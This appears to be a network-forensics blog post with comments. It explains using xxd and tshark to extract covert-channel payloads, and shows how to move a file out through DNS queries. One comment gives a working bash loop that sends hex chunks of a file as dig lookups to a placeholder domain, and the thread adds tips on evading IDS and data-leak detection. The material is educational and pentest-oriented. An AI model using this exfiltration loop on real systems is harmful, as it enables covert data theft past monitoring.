|
I just got done teaching For 558, our relatively new Network Forensics class. Great students and some great side discussions. One of this side discussions involved 'xxd', a tool that can be used to create a hex dump from a binary file or reverse a hex dump back into a binary file. For example:
The tool is even flexible enough to be used in vi (try: vi -b with %!xxd or %!xxd -r to "undo" it before saving) The tool is very handy, two uses that came up in class: 1. Stripping headers and extracting data from a covert channel.One method to establish a covert channel is to take the original packet, and wrap it into an encapsulating header. For example an ICMP or a DNS packet. The trick is to extract the payload, save it in a new file, and treat it as a new packet capture. The 'packetstan' blog [1] outlines one way to do so via scapy. But scapy is not as commonly installed and available as other tools like for example tshark (and well, xxd). tshark can easily be used to extract the payload in hexadecimal format:
to convert the hexadecimal payload into a binary files, just run it through xxd: tshark -T fields -e data | xxd -r -p The "-p" option will just accept a stream of hexadecimal data, without it, xxd expects it to be encoded in the very specific format usually see with xxd. 2. File transfer via DNSAnother nice idea I demoed in class is a file transfer via DNS that works without special tools. For pentesters, this is helpful as it will first of all sneak past many firewalls, and secondly you do not need to install any special tools that may be picked up by anti-malware. This idea is along the lines of what is discussed in Kevin Bong's SANS Master's project [2]. First, we convert the file to be transferred via xxd into a hex stream.
next, we read each line from file.hex, and "transmit" it as a DNS query.
This does not need special privileges. On the DNS server, we can capture the messages via tcpdump or the query log.
Then, we extract the messages from the packet capture
The "uniq" may not be necessary, but I find that the DNS messages may be resend once in a while if the response isn't fast enough. Finally, just reverse the hex encoding:
And you are done! FTDNS (File Transfer via DNS) without installing any special tools on "system.example.com" Bonus: shorter lines from xxd and maybe a quick xor may make it even harder for an IDS/Data Leakage system to "see" this kind of data. Defense: Watch you DNS logs! [1] http://www.packetstan.com/2010/11/packet-payloads-encryption-and-bacon.html ------ |
Johannes 3396 Posts ISC Handler |
| Reply Subscribe |
Jan 25th 2011 8 years ago |
|
In the first cut command, is it supposed to be field 8? Field 8 here is the hex output.
|
Anonymous |
| Reply Quote |
Jan 25th 2011 8 years ago |
|
I also am a fan of xxd. During my time monitoring IDS logs, I found it to be very useful. It's interesting to know that others are using it in similar ways.
|
Anonymous |
| Reply Quote |
Jan 26th 2011 8 years ago |
|
I was thinking about ways around the potential for UDP transmits, and it seemed trivial to add sequential chunk IDs as a "subdomain" to the queries:
seq=0; for chunk in `cat file.hex`; do ((seq=$seq+1)); fseq=`printf "%04d" $seq`; dig +short ${chunk}.${fseq}.subdomain.domain.tld; done We could even embed checksum info in there too, if we wanted. And, of course, we could vary the chunk size and the query timing to fly low and slow in order to evade detection further... |
Sam 3 Posts |
| Reply Quote |
Jan 28th 2011 8 years ago |
Sign Up for Free or Log In to start participating in the conversation!
